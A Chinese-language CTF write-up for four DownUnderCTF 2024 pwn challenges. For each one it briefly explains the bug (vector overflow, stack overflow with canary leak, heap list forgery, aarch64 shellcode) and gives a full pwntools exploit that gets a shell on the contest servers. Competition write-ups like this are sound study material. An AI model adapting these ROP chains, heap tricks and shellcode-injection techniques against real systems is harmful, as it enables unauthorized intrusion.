DownUnderCTF2024 - PWN

# DownUnderCTF2024 - PWN

# ???

又是一个摸摸的比赛... ... ... ... ... ... ...
但是难题难度不低,简单题也是真的送分。

# 正文

# vector_overflow

之前做过一个 C++ vector 的堆题目。不知道为啥 CTF 那么喜欢出 vector 的堆题... ...

读取 buf 的时候没有检测输入长度,直接修改 vector 的东西,劫持 vector 结构体的内容指针指向 DUCTF 这个字符串就行。
大致的结构体就是:

1
2
3
4
5
6
7
template typename xxx
class vector<xxx> {
protected:
xxx* _M_start;
xxx* _M_finish;
xxx* _M_end_of_storage;
}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('2024.ductf.dev',30013)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload=b"DUCTF\x00\x00\x00"+p64(0)+p64(0x4051e0)+p64(0x4051e5)+p64(0x4051e0)
p.send(payload)
p.interactive()

# yawa

有栈溢出漏洞,有 printf 输出 % s 来输出没有被截断的内容。
直接打就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('2024.ductf.dev',30010)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.sendlineafter("Get a personalised greeting","1")
pause()
p.send('a'*0x59)
pause()
p.sendlineafter("Get a personalised greeting","2")

p.recvuntil(b'a'*0x58)
canary=u64(p.recv(8))-0x61
pause()
p.sendlineafter("Get a personalised greeting","1")
pause()
p.send('a'*0x68)
pause()

p.sendlineafter("Get a personalised greeting","2")
p.recvuntil(b'a'*0x68)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x762d44c29d90+0x762d44c00000
print(hex(libc_base))
#
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x02be51
execv=libc_base+0x0EB080
pop_rdx2=0x11f2e7+libc_base
sh=libc_base+0x1d8678
payload=b'a'*0x58+p64(canary)+p64(libc_base+0x253000)+p64(pop_rdi)+p64(sh)+p64(libc_base+0x50D9C)+p64(libc_base+0x50D70)
pause()
p.sendlineafter("Get a personalised greeting","1")
# pause()
p.sendline(payload.ljust(0x88))
# gdb.attach(p)
# pause()
# p.sendafter("Get a personalised greeting","4")

p.interactive()

# sign-in

登录到 root 用户就行了,但是 root 的密码是 8 字节随机数。

一个简单的堆,user 的堆块之间用双链表进行链接,free 掉 chunk 之后没有把 chunk 的 next 和 prev 指针清空,而且他 malloc 和 free 两个 chunk 的顺序就允许我们可以伪造链表,然后把 bss 上面存储的 root 用户账号密码的地址给低位覆盖为 \x00\x00,指向的是一堆 0x00 的 buf,就可以用 8 个 \x00 作为账号和密码登录到 uid 为 0 (root) 的用户从而拿到 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('2024.ductf.dev',30022)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(name,pwd):
p.sendlineafter("Get shell","1")
p.sendafter("username:",name)
p.sendafter("password:",pwd)
def signin(name,pwd):
p.sendlineafter("Get shell","2")
p.sendafter("username:",name)
p.sendafter("password:",pwd)
def dele():
p.sendlineafter("Get shell","3")
def shell():
p.sendlineafter("Get shell","4")

def cleart():
add("pwn1","pwn")
add("pwn2","pwn")
add("pwn3","pwn")
def fillt():
signin('pwn1','pwn')
dele()
signin('pwn2','pwn')
dele()
signin('pwn3','pwn')
dele()
target=0x4040b0-6-8
add("pwn",p64(target))
add("pwnx",p64(target))
cleart()

# add("pwnxx","pwn")
signin('pwnx',p64(target))
dele()
add("pwnxx",p64(target))
signin('pwnxx',p64(target))
dele()
tar1=0x4040c0
# gdb.attach(p)
# add("pwnxxx",p64(tar1))
signin(p64(0),p64(0))
# dele()
shell()
# add("pwnxxxx",p64(tar1))


p.interactive()

# pac-shell

怎么说,做出来的第一个 aarch64 架构上面的 PWN 题目)
题目跑在 qemu 上面,特性就是忽略不可执行的保护,而且 pie 也相当于是没开的,所以我们就直接在 bss 上面写 shellcode,然后 ret 到那里就行了。

但是调用函数的地方加了地址随机的保护,所以我们要先劫持 bss 上面那四个函数指针的除了 help 之外的一个为 shellcode 的地址,然后 help 查看经过随机化的地址,然后 call 那里就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='aarch64',os='linux')
context.terminal=['tmux','splitw','-h']

# pwn = ''
p=remote('2024.ductf.dev',30027)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process("qemu-aarch64 -g 1222 -L ./ ./pwn", shell = True)

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.recvuntil("help: 0x")
help64=int(p.recvuntil('\n'),16)
p.recvuntil('ls: 0x')
hack64=int(p.recvuntil('\n'),16)
p.recvuntil("read64: 0x")
read64=int(p.recvuntil('\n'),16)
p.recvuntil("write64: 0x")
write64=int(p.recvuntil('\n'),16)
print(hex(help64))
print(hex(hack64))
print(hex(read64))
print(hex(write64))

def read(addr):
p.sendlineafter("pacsh>",str(hex(read64)))
p.sendlineafter("read64> ",str(hex(addr)))
def write(addr,pay):
p.sendlineafter("pacsh>",str(hex(write64)))
p.sendlineafter("write64> ",str(hex(addr))+" "+str(hex(pay))[2:])

def hack():
p.sendlineafter("pacsh>",str(hex(hack64)))
def help():
p.sendlineafter("pacsh>",str(hex(help64)))

shellcode=asm(shellcraft.sh())
base=0x5500000000
read(base+0x11FB0)
# p.recv()
libc_base=int(p.recv(10),16)-0x0509D0
print(hex(libc_base))
# 0x0000000000069500 : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
gad=libc_base+0x69500
buf_st=base+0x12050+0x100
for i in range(0,len(shellcode),8):
writ=shellcode[i:i+8]
write(buf_st+i,bytes_to_long(writ[::-1]))
write(base+0x12028,buf_st)
help()
p.recvuntil('ls: 0x')
hack64=int(p.recvuntil('\n'),16)
hack()
# sp1 0x5501820e40 0x5501820e40

p.interactive()